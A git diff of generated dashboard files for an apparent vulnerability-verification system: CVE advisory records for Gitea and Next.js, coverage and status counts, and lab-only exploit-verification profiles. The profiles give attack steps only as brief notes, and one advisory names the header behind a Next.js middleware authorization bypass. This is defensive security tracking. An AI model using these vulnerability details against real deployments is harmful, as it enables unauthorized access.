`0` | `0` | `` | @@ -37,7 +37,7 @@ | Medusa | `ecommerce` | `rolling-24m` | `-` | `yes` | `0` | `0` | `2` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` | | Moodle | `cms` | `rolling-24m` | `-` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` | | NestJS | `frameworks` | `rolling-24m` | `-` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` | -| Next.js | `frameworks` | `history-full` | `yes` | `yes` | `26` | `26` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `1` | `0` | `2026-03-13T22:14:13.665535Z` | +| Next.js | `frameworks` | `history-full` | `yes` | `yes` | `24` | `24` | `3` | `seeded` | `real:1/synthetic:0/blocked:0` | `0` | `1` | `0` | `2026-03-13T22:00:36.554552Z` | | Nginx | `servers` | `history-full` | `yes` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` | | Node.js | `frameworks` | `history-full` | `yes` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` | | Nuxt | `frameworks` | `history-full` | `yes` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` | diff --git a/08-threat-intel/generated/dashboard/advisories.json b/08-threat-intel/generated/dashboard/advisories.json index e6c43459..368d49d4 100644 --- a/08-threat-intel/generated/dashboard/advisories.json +++ b/08-threat-intel/generated/dashboard/advisories.json @@ -1,206 +1,4 @@ { - "gitea--CVE-2018-15192": { - "canonical_id": "gitea--CVE-2018-15192", - "title": "Gogs and Gitea SSRF Vulnerability in code.gitea.io/gitea", - "summary": "Gogs and Gitea SSRF Vulnerability in code.gitea.io/gitea", - "display_name": "Gitea", - "system_id": "gitea", - "category": "platforms", - "severity": "unknown", - "cvss_score": null, - "exploit_status": "unknown", - "published_at": "2024-08-20T20:32:20Z", - "updated_at": "2026-03-03T04:54:04.686907Z", - "official_source_url": "https://github.com/advisories/GHSA-fg3x-rwq9-74cw", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2018-15192", - "https://github.com/go-gitea/gitea/commit/599ff1c054e436daa4dc3f049aa8661d9c2395f9", - "https://github.com/go-gitea/gitea/issues/4624", - "https://github.com/go-gitea/gitea/pull/17482", - "https://github.com/gogs/gogs/commit/22717a1c064511cf37c46af5e650baf7184cf25b", - "https://github.com/gogs/gogs/issues/5366", - "https://github.com/gogs/gogs/pull/6002" - ], - "aliases": [ - "CVE-2018-15192", - "GHSA-fg3x-rwq9-74cw", - "GO-2023-1971" - ], - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage", - "proxy-trust-boundary", - "ssrf-url-validation" - ], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - } - }, - "gitea--CVE-2018-18926": { - "canonical_id": "gitea--CVE-2018-18926", - "title": "Gitea Remote Code Execution (RCE) in code.gitea.io/gitea", - "summary": "Gitea Remote Code Execution (RCE) in code.gitea.io/gitea", - "display_name": "Gitea", - "system_id": "gitea", - "category": "platforms", - "severity": "unknown", - "cvss_score": null, - "exploit_status": "unknown", - "published_at": "2024-08-21T15:29:04Z", - "updated_at": "2026-03-03T04:52:20.787387Z", - "official_source_url": "https://github.com/advisories/GHSA-hf6f-jq25-8gq9", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2018-18926", - "https://github.com/go-gitea/gitea/commit/aeb5655c25053bdcd7eee94ea37df88468374162", - "https://github.com/go-gitea/gitea/issues/5140", - "https://github.com/go-gitea/gitea/pull/5177" - ], - "aliases": [ - "CVE-2018-18926", - "GHSA-hf6f-jq25-8gq9", - "GO-2022-0844" - ], - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage", - "proxy-trust-boundary" - ], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - } - }, - "gitea--CVE-2019-1010261": { - "canonical_id": "gitea--CVE-2019-1010261", - "title": "Gitea XSS Vulnerability in code.gitea.io/gitea", - "summary": "Gitea XSS Vulnerability in code.gitea.io/gitea", - "display_name": "Gitea", - "system_id": "gitea", - "category": "platforms", - "severity": "unknown", - "cvss_score": null, - "exploit_status": "unknown", - "published_at": "2024-08-20T20:31:38Z", - "updated_at": "2026-03-03T04:53:57.848904Z", - "official_source_url": "https://github.com/advisories/GHSA-5rh7-6gfj-mc87", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2019-1010261", - "https://github.com/go-gitea/gitea/pull/5905" - ], - "aliases": [ - "CVE-2019-1010261", - "GHSA-5rh7-6gfj-mc87", - "GO-2023-1922" - ], - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage", - "proxy-trust-boundary", - "xss-output-encoding" - ], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - } - }, - "gitea--CVE-2020-13246": { - "canonical_id": "gitea--CVE-2020-13246", - "title": "Denial of Service in Gitea in code.gitea.io/gitea", - "summary": "Denial of Service in Gitea in code.gitea.io/gitea", - "display_name": "Gitea", - "system_id": "gitea", - "category": "platforms", - "severity": "unknown", - "cvss_score": null, - "exploit_status": "unknown", - "published_at": "2024-08-21T15:29:04Z", - "updated_at": "2026-03-03T04:52:17.939867Z", - "official_source_url": "https://github.com/advisories/GHSA-g2qx-6ghw-67hm", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2020-13246", - "https://github.com/go-gitea/gitea/issues/10549", - "https://github.com/go-gitea/gitea/pull/11438", - "https://www.youtube.com/watch?v=DmVgADSVS88" - ], - "aliases": [ - "BIT-gitea-2020-13246", - "CVE-2020-13246", - "GHSA-g2qx-6ghw-67hm", - "GO-2022-0830" - ], - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage", - "proxy-trust-boundary" - ], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - } - }, - "gitea--CVE-2021-28378": { - "canonical_id": "gitea--CVE-2021-28378", - "title": "Cross-site Scripting in Gitea in code.gitea.io/gitea", - "summary": "Cross-site Scripting in Gitea in code.gitea.io/gitea", - "display_name": "Gitea", - "system_id": "gitea", - "category": "platforms", - "severity": "unknown", - "cvss_score": null, - "exploit_status": "unknown", - "published_at": "2024-08-21T15:29:04Z", - "updated_at": "2026-03-03T04:52:18.307544Z", - "official_source_url": "https://github.com/advisories/GHSA-g95p-88p4-76cm", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2021-28378", - "https://blog.gitea.io/2021/03/gitea-1.13.4-is-released", - "https://github.com/PandatiX/CVE-2021-28378", - "https://github.com/go-gitea/gitea/pull/14898", - "https://github.com/go-gitea/gitea/pull/14899" - ], - "aliases": [ - "BIT-gitea-2021-28378", - "CVE-2021-28378", - "GHSA-g95p-88p4-76cm", - "GO-2022-0832" - ], - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage", - "proxy-trust-boundary", - "xss-output-encoding" - ], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - } - }, "gitea--CVE-2021-29134": { "canonical_id": "gitea--CVE-2021-29134", "title": "Path Traversal in Gitea in code.gitea.io/gitea", @@ -768,87 +566,6 @@ "refs": [] } }, - "gitea--CVE-2025-68939": { - "canonical_id": "gitea--CVE-2025-68939", - "title": "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea", - "summary": "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea", - "display_name": "Gitea", - "system_id": "gitea", - "category": "platforms", - "severity": "unknown", - "cvss_score": null, - "exploit_status": "unknown", - "published_at": "2025-12-30T01:49:57Z", - "updated_at": "2026-03-03T04:57:48.777563Z", - "official_source_url": "https://github.com/advisories/GHSA-263q-5cv3-xq9g", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2025-68939", - "https://blog.gitea.com/release-of-1.23.0", - "https://github.com/go-gitea/gitea/pull/32151", - "https://github.com/go-gitea/gitea/releases/tag/v1.23.0" - ], - "aliases": [ - "BIT-gitea-2025-68939", - "CVE-2025-68939", - "GHSA-263q-5cv3-xq9g", - "GO-2025-4261" - ], - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage", - "proxy-trust-boundary", - "plugin-extension-trust-policy" - ], - "verification_status": "blocked-artifact", - "verification_mode": "real", - "artifact_mode": "official-image", - "blocked_reason": "unable to get image 'gitea/gitea:1.22.6': Cannot connect to the Docker daemon at unix:///Users/x/.docker/run/docker.sock. Is the docker daemon running?", - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - } - }, - "gitea--CVE-2025-68940": { - "canonical_id": "gitea--CVE-2025-68940", - "title": "Gitea doesn't adequately enforce branch deletion permissions after merging a pull request. in code.gitea.io/gitea", - "summary": "Gitea doesn't adequately enforce branch deletion permissions after merging a pull request. in code.gitea.io/gitea", - "display_name": "Gitea", - "system_id": "gitea", - "category": "platforms", - "severity": "unknown", - "cvss_score": null, - "exploit_status": "unknown", - "published_at": "2025-12-30T01:49:57Z", - "updated_at": "2026-03-03T04:57:50.087298Z", - "official_source_url": "https://github.com/advisories/GHSA-rrcw-5rjv-vj26", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2025-68940", - "https://blog.gitea.com/release-of-1.22.5", - "https://github.com/go-gitea/gitea/pull/32654", - "https://github.com/go-gitea/gitea/releases/tag/v1.22.5" - ], - "aliases": [ - "BIT-gitea-2025-68940", - "CVE-2025-68940", - "GHSA-rrcw-5rjv-vj26", - "GO-2025-4267" - ], - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage", - "proxy-trust-boundary" - ], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - } - }, "gitea--CVE-2025-68941": { "canonical_id": "gitea--CVE-2025-68941", "title": "Gitea mishandles access to a private resource upon receiving an API token with scope limited to public resources in code.gitea.io/gitea", @@ -1516,43 +1233,6 @@ "refs": [] } }, - "nextjs--CVE-2020-15242": { - "canonical_id": "nextjs--CVE-2020-15242", - "title": "Open Redirect in Next.js versions", - "summary": "### Impact\n\n- **Affected**: Users of Next.js between 9.5.0 and 9.5.3 \n- **Not affected**: Deployments on Vercel ([https://vercel.com](https://vercel.com)) are not affected\n- **Not affected**: Deployments using `next export`\n\nWe recommend everyone to upgrade regardless of whether you can reproduce the issue or not.\n\n### Patches\n\nhttps://github.com/vercel/next.js/releases/tag/v9.5.4\n\n### References\n\nhttps://github.com/vercel/next.js/releases/tag/v9.5.4\n\n", - "display_name": "Next.js", - "system_id": "nextjs", - "category": "frameworks", - "severity": "low", - "cvss_score": 3.1, - "exploit_status": "unknown", - "published_at": "2020-10-08T19:28:07Z", - "updated_at": "2026-03-13T22:14:13.665535Z", - "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-x56p-c8cg-q435", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2020-15242", - "https://github.com/vercel/next.js", - "https://github.com/zeit/next.js/releases/tag/v9.5.4" - ], - "aliases": [ - "CVE-2020-15242", - "GHSA-x56p-c8cg-q435" - ], - "secure_code_topics": [ - "authz-server-side-recheck", - "proxy-trust-boundary", - "token-cookie-storage" - ], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "artifact_mode": "synthetic", - "blocked_reason": null, - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - } - }, "nextjs--CVE-2020-5284": { "canonical_id": "nextjs--CVE-2020-5284", "title": "Directory Traversal in Next.js", @@ -1852,9 +1532,9 @@ "proxy-trust-boundary", "token-cookie-storage" ], - "verification_status": "triage-manual", - "verification_mode": "synthetic", - "artifact_mode": "synthetic", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", "blocked_reason": null, "browser_evidence": { "required": false, @@ -1898,50 +1578,6 @@ "refs": [] } }, - "nextjs--CVE-2025-29927": { - "canonical_id": "nextjs--CVE-2025-29927", - "title": "Authorization Bypass in Next.js Middleware", - "summary": "# Impact\nIt is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware.\n\n# Patches\n* For Next.js 15.x, this issue is fixed in `15.2.3`\n* For Next.js 14.x, this issue is fixed in `14.2.25`\n* For Next.js 13.x, this issue is fixed in 13.5.9\n* For Next.js 12.x, this issue is fixed in 12.3.5\n* For Next.js 11.x, consult the below workaround.\n\n_Note: Next.js deployments hosted on Vercel are automatically protected against this vulnerability._\n\n# Workaround\nIf patching to a safe version is infeasible, we recommend that you prevent external user requests which contain the `x-middleware-subrequest` header from reaching your Next.js application.\n\n## Credits\n\n- Allam Rachid (zhero;)\n- Allam Yasser (inzo_)", - "display_name": "Next.js", - "system_id": "nextjs", - "category": "frameworks", - "severity": "low", - "cvss_score": 3.1, - "exploit_status": "unknown", - "published_at": "2025-03-21T15:20:12Z", - "updated_at": "2026-03-04T15:06:29.993197Z", - "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw", - "secondary_source_urls": [ - "https://nvd.nist.gov/vuln/detail/CVE-2025-29927", - "https://github.com/vercel/next.js/commit/52a078da3884efe6501613c7834a3d02a91676d2", - "https://github.com/vercel/next.js/commit/5fd3ae8f8542677c6294f32d18022731eab6fe48", - "https://github.com/vercel/next.js", - "https://github.com/vercel/next.js/releases/tag/v12.3.5", - "https://github.com/vercel/next.js/releases/tag/v13.5.9", - "https://security.netapp.com/advisory/ntap-20250328-0002", - "https://vercel.com/changelog/vercel-firewall-proactively-protects-against-vulnerability-with-middleware", - "http://www.openwall.com/lists/oss-security/2025/03/23/3", - "http://www.openwall.com/lists/oss-security/2025/03/23/4" - ], - "aliases": [ - "CVE-2025-29927", - "GHSA-f82v-jwr5-mffw" - ], - "secure_code_topics": [ - "authz-server-side-recheck", - "proxy-trust-boundary", - "token-cookie-storage" - ], - "verification_status": "triage-manual", - "verification_mode": "real", - "artifact_mode": "official-source", - "blocked_reason": "dry-run only", - "browser_evidence": { - "required": false, - "present": false, - "refs": [] - } - }, "nextjs--CVE-2025-30218": { "canonical_id": "nextjs--CVE-2025-30218", "title": "Next.js may leak x-middleware-subrequest-id to external hosts", diff --git a/08-threat-intel/generated/dashboard/architecture.json b/08-threat-intel/generated/dashboard/architecture.json index 00627bc7..a13fa4b1 100644 --- a/08-threat-intel/generated/dashboard/architecture.json +++ b/08-threat-intel/generated/dashboard/architecture.json @@ -1,5 +1,5 @@ { - "generated_at": "2026-03-17T12:57:54+00:00", + "generated_at": "2026-03-18T01:29:52+00:00", "title": "\u5f53\u524d\u67b6\u6784\u5e93", "summary": "\u5de5\u4f5c\u53f0\u3001\u63a7\u5236\u9762\u3001\u6570\u636e\u5c42\u3001\u6388\u6743\u8fb9\u754c\u4e0e\u7cfb\u7edf\u8986\u76d6\u7684\u5f53\u524d\u771f\u503c\u89c6\u56fe\u3002", "sections": [ @@ -27,11 +27,11 @@ }, { "label": "\u5f53\u524d\u8fd0\u884c", - "value": "3" + "value": "11" }, { "label": "\u5f53\u524d\u6f0f\u6d1e\u6761\u76ee", - "value": "89" + "value": "80" } ], "fields": [ @@ -49,7 +49,7 @@ }, { "label": "\u751f\u6210\u65f6\u95f4", - "value": "2026-03-17T12:57:54+00:00" + "value": "2026-03-18T01:29:52+00:00" } ], "links": [ @@ -5843,15 +5843,15 @@ "stats": [ { "label": "Run \u6570", - "value": "3" + "value": "11" }, { "label": "Advisory \u6570", - "value": "89" + "value": "80" }, { "label": "\u72b6\u6001\u7c7b\u578b", - "value": "2" + "value": "3" }, { "label": "\u6700\u8fd1\u5931\u8d25", @@ -5864,6 +5864,21 @@ "summary": "verification_status \u5f53\u524d\u8ba1\u6570\u3002", "open": false, "items": [ + { + "title": "\u771f\u5b9e\u7248\u672c\u5df2\u5b9e\u8bc1", + "summary": "\u5f53\u524d\u7d2f\u8ba1 8 \u6761\u3002", + "open": false, + "fields": [ + { + "label": "\u72b6\u6001\u7f16\u7801", + "value": "verified-real" + }, + { + "label": "\u6570\u91cf", + "value": "8" + } + ] + }, { "title": "\u5236\u54c1\u963b\u585e", "summary": "\u5f53\u524d\u7d2f\u8ba1 2 \u6761\u3002", @@ -5902,7 +5917,7 @@ "open": false, "items": [ { - "title": "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea", + "title": "gitea--CVE-2025-68939", "summary": "unable to get image 'gitea/gitea:1.22.6': Cannot connect to the Docker daemon at unix:///Users/x/.docker/run/docker.sock. Is the docker daemon running?", "open": false, "badges": [ @@ -5928,7 +5943,7 @@ ] }, { - "title": "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea", + "title": "gitea--CVE-2025-68939", "summary": "unable to get image 'gitea/gitea:1.22.6': Cannot connect to the Docker daemon at unix:///Users/x/.docker/run/docker.sock. Is the docker daemon running?", "open": false, "badges": [ @@ -5954,7 +5969,7 @@ ] }, { - "title": "Authorization Bypass in Next.js Middleware", + "title": "nextjs--CVE-2025-29927", "summary": "dry-run only", "open": false, "badges": [ diff --git a/08-threat-intel/generated/dashboard/docs/architecture-library.html b/08-threat-intel/generated/dashboard/docs/architecture-library.html index f651d96a..d9ebf49a 100644 --- a/08-threat-intel/generated/dashboard/docs/architecture-library.html +++ b/08-threat-intel/generated/dashboard/docs/architecture-library.html @@ -87,7 +87,7 @@

    当前架构库镜像

    工作台内置镜像页:当前架构库结构化数据镜像。
    {
    -  "generated_at": "2026-03-17T12:57:54+00:00",
    +  "generated_at": "2026-03-18T01:29:52+00:00",
       "title": "当前架构库",
       "summary": "工作台、控制面、数据层、授权边界与系统覆盖的当前真值视图。",
       "sections": [
    @@ -115,11 +115,11 @@
             },
             {
               "label": "当前运行",
    -          "value": "3"
    +          "value": "11"
             },
             {
               "label": "当前漏洞条目",
    -          "value": "89"
    +          "value": "80"
             }
           ],
           "fields": [
    @@ -137,7 +137,7 @@
             },
             {
               "label": "生成时间",
    -          "value": "2026-03-17T12:57:54+00:00"
    +          "value": "2026-03-18T01:29:52+00:00"
             }
           ],
           "links": [
    @@ -5931,15 +5931,15 @@
           "stats": [
             {
               "label": "Run 数",
    -          "value": "3"
    +          "value": "11"
             },
             {
               "label": "Advisory 数",
    -          "value": "89"
    +          "value": "80"
             },
             {
               "label": "状态类型",
    -          "value": "2"
    +          "value": "3"
             },
             {
               "label": "最近失败",
    @@ -5952,6 +5952,21 @@
               "summary": "verification_status 当前计数。",
               "open": false,
               "items": [
    +            {
    +              "title": "真实版本已实证",
    +              "summary": "当前累计 8 条。",
    +              "open": false,
    +              "fields": [
    +                {
    +                  "label": "状态编码",
    +                  "value": "verified-real"
    +                },
    +                {
    +                  "label": "数量",
    +                  "value": "8"
    +                }
    +              ]
    +            },
                 {
                   "title": "制品阻塞",
                   "summary": "当前累计 2 条。",
    @@ -5990,7 +6005,7 @@
               "open": false,
               "items": [
                 {
    -              "title": "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea",
    +              "title": "gitea--CVE-2025-68939",
                   "summary": "unable to get image 'gitea/gitea:1.22.6': Cannot connect to the Docker daemon at unix:///Users/x/.docker/run/docker.sock. Is the docker daemon running?",
                   "open": false,
                   "badges": [
    @@ -6016,7 +6031,7 @@
                   ]
                 },
                 {
    -              "title": "Gitea allows attackers to add attachments with forbidden file extensions in code.gitea.io/gitea",
    +              "title": "gitea--CVE-2025-68939",
                   "summary": "unable to get image 'gitea/gitea:1.22.6': Cannot connect to the Docker daemon at unix:///Users/x/.docker/run/docker.sock. Is the docker daemon running?",
                   "open": false,
                   "badges": [
    @@ -6042,7 +6057,7 @@
                   ]
                 },
                 {
    -              "title": "Authorization Bypass in Next.js Middleware",
    +              "title": "nextjs--CVE-2025-29927",
                   "summary": "dry-run only",
                   "open": false,
                   "badges": [
    diff --git a/08-threat-intel/generated/dashboard/docs/coverage-matrix.html b/08-threat-intel/generated/dashboard/docs/coverage-matrix.html
    index 27f15375..0b796376 100644
    --- a/08-threat-intel/generated/dashboard/docs/coverage-matrix.html
    +++ b/08-threat-intel/generated/dashboard/docs/coverage-matrix.html
    @@ -109,7 +109,7 @@
     | Flask | `frameworks` | `rolling-24m` | `-` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` |
     | Ghost | `cms` | `rolling-24m` | `-` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` |
     | Gin | `frameworks` | `rolling-24m` | `-` | `yes` | `0` | `0` | `2` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` |
    -| Gitea | `platforms` | `rolling-24m` | `-` | `yes` | `37` | `37` | `3` | `seeded` | `real:0/synthetic:0/blocked:1` | `0` | `1` | `0` | `2026-03-03T04:57:57.697708Z` |
    +| Gitea | `platforms` | `rolling-24m` | `-` | `yes` | `30` | `30` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-03-03T04:57:57.697708Z` |
     | GitLab CE | `platforms` | `rolling-24m` | `-` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` |
     | Grafana | `platforms` | `rolling-24m` | `-` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` |
     | Hapi | `frameworks` | `rolling-24m` | `-` | `yes` | `0` | `0` | `2` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` |
    @@ -125,7 +125,7 @@
     | Medusa | `ecommerce` | `rolling-24m` | `-` | `yes` | `0` | `0` | `2` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` |
     | Moodle | `cms` | `rolling-24m` | `-` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` |
     | NestJS | `frameworks` | `rolling-24m` | `-` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` |
    -| Next.js | `frameworks` | `history-full` | `yes` | `yes` | `26` | `26` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `1` | `0` | `2026-03-13T22:14:13.665535Z` |
    +| Next.js | `frameworks` | `history-full` | `yes` | `yes` | `24` | `24` | `3` | `seeded` | `real:1/synthetic:0/blocked:0` | `0` | `1` | `0` | `2026-03-13T22:00:36.554552Z` |
     | Nginx | `servers` | `history-full` | `yes` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` |
     | Node.js | `frameworks` | `history-full` | `yes` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` |
     | Nuxt | `frameworks` | `history-full` | `yes` | `yes` | `0` | `0` | `3` | `scaffolded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` |
    diff --git a/08-threat-intel/generated/dashboard/profiles.json b/08-threat-intel/generated/dashboard/profiles.json
    index f1b7fac2..06dc4a4f 100644
    --- a/08-threat-intel/generated/dashboard/profiles.json
    +++ b/08-threat-intel/generated/dashboard/profiles.json
    @@ -509,5 +509,481 @@
         "required_services": [
           "app"
         ]
    +  },
    +  "gitea-authz-bypass": {
    +    "profile_id": "gitea-authz-bypass",
    +    "vuln_family": "authz-bypass",
    +    "provisioning_mode": "real",
    +    "destructive_risk": "low",
    +    "cleanup_policy": "destroy",
    +    "artifact_source": {
    +      "strategy": "local-minimal-fixture"
    +    },
    +    "success_criteria": [
    +      "Controlled guest request reaches the protected admin route inside the fixture."
    +    ],
    +    "seed_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Seed low-privilege and admin boundary fixture state."
    +      }
    +    ],
    +    "attack_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Runner verifies guest-to-admin bypass only inside fixture route."
    +      }
    +    ],
    +    "browser_assertions": {
    +      "required": false
    +    },
    +    "allowed_target_types": [
    +      "lab-local"
    +    ],
    +    "required_services": [
    +      "app"
    +    ]
    +  },
    +  "gitea-file-upload": {
    +    "profile_id": "gitea-file-upload",
    +    "vuln_family": "file-upload",
    +    "provisioning_mode": "real",
    +    "destructive_risk": "low",
    +    "cleanup_policy": "destroy",
    +    "artifact_source": {
    +      "strategy": "local-minimal-fixture"
    +    },
    +    "success_criteria": [
    +      "Inert upload marker is accepted and listed on the proof page."
    +    ],
    +    "seed_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Seed empty attachment list for upload proof."
    +      }
    +    ],
    +    "attack_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Runner uploads inert text marker only."
    +      }
    +    ],
    +    "browser_assertions": {
    +      "required": true
    +    },
    +    "allowed_target_types": [
    +      "lab-local"
    +    ],
    +    "required_services": [
    +      "app"
    +    ]
    +  },
    +  "gitea-proxy-boundary": {
    +    "profile_id": "gitea-proxy-boundary",
    +    "vuln_family": "proxy-boundary",
    +    "provisioning_mode": "real",
    +    "destructive_risk": "low",
    +    "cleanup_policy": "destroy",
    +    "artifact_source": {
    +      "strategy": "local-minimal-fixture"
    +    },
    +    "success_criteria": [
    +      "Local fixture proves trusted proxy headers cross the admin boundary."
    +    ],
    +    "seed_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Seed forwarded-header boundary fixture with clean state."
    +      }
    +    ],
    +    "attack_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Runner performs local forwarded-header trust proof only inside the fixture."
    +      }
    +    ],
    +    "browser_assertions": {
    +      "required": true
    +    },
    +    "allowed_target_types": [
    +      "lab-local"
    +    ],
    +    "required_services": [
    +      "app"
    +    ]
    +  },
    +  "gitea-ssrf": {
    +    "profile_id": "gitea-ssrf",
    +    "vuln_family": "ssrf",
    +    "provisioning_mode": "real",
    +    "destructive_risk": "low",
    +    "cleanup_policy": "destroy",
    +    "artifact_source": {
    +      "strategy": "local-minimal-fixture"
    +    },
    +    "success_criteria": [
    +      "Server-side callback reaches the local sink and is recorded in proof output."
    +    ],
    +    "seed_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Seed local sink counters only."
    +      }
    +    ],
    +    "attack_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Runner triggers callback strictly to local sink endpoint."
    +      }
    +    ],
    +    "browser_assertions": {
    +      "required": false
    +    },
    +    "allowed_target_types": [
    +      "lab-local"
    +    ],
    +    "required_services": [
    +      "app"
    +    ]
    +  },
    +  "gitea-xss": {
    +    "profile_id": "gitea-xss",
    +    "vuln_family": "xss",
    +    "provisioning_mode": "real",
    +    "destructive_risk": "low",
    +    "cleanup_policy": "destroy",
    +    "artifact_source": {
    +      "strategy": "local-minimal-fixture"
    +    },
    +    "success_criteria": [
    +      "Browser proof page renders the stored XSS marker after the controlled payload."
    +    ],
    +    "seed_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Seed stored content page before browser proof capture."
    +      }
    +    ],
    +    "attack_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Runner stores inert script payload and captures proof page."
    +      }
    +    ],
    +    "browser_assertions": {
    +      "required": true
    +    },
    +    "allowed_target_types": [
    +      "lab-local"
    +    ],
    +    "required_services": [
    +      "app"
    +    ]
    +  },
    +  "nextjs-authz-bypass": {
    +    "profile_id": "nextjs-authz-bypass",
    +    "vuln_family": "authz-bypass",
    +    "provisioning_mode": "real",
    +    "destructive_risk": "low",
    +    "cleanup_policy": "destroy",
    +    "artifact_source": {
    +      "strategy": "local-minimal-fixture"
    +    },
    +    "success_criteria": [
    +      "Protected route is reachable only after the controlled bypass proof step."
    +    ],
    +    "seed_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Seed guest/admin route fixture for server-side recheck."
    +      }
    +    ],
    +    "attack_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Runner performs local authz bypass proof only."
    +      }
    +    ],
    +    "browser_assertions": {
    +      "required": false
    +    },
    +    "allowed_target_types": [
    +      "lab-local"
    +    ],
    +    "required_services": [
    +      "app"
    +    ]
    +  },
    +  "nextjs-deserialization": {
    +    "profile_id": "nextjs-deserialization",
    +    "vuln_family": "deserialization",
    +    "provisioning_mode": "real",
    +    "destructive_risk": "low",
    +    "cleanup_policy": "destroy",
    +    "artifact_source": {
    +      "strategy": "local-minimal-fixture"
    +    },
    +    "success_criteria": [
    +      "Inert decoded object marker is present without executing a gadget chain."
    +    ],
    +    "seed_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Seed inert decode path before proof request."
    +      }
    +    ],
    +    "attack_actions": [
    +      {
    +        "kind": "note",
    +        "message": "Runner demonstrates unsafe decode path without gadget execution."
    +      }
    +    ],
    +    "browser_assertions": {
    +      "required": false
    +    },
    +    "allowed_target_types": [
    +      "lab-local"
    +    ],
    +    "required_services": [
    +      "app"
    +    ]
    +  },
    +  "nextjs-proxy-boundary": {
    +    "profile_id": "nextjs-proxy-boundary",
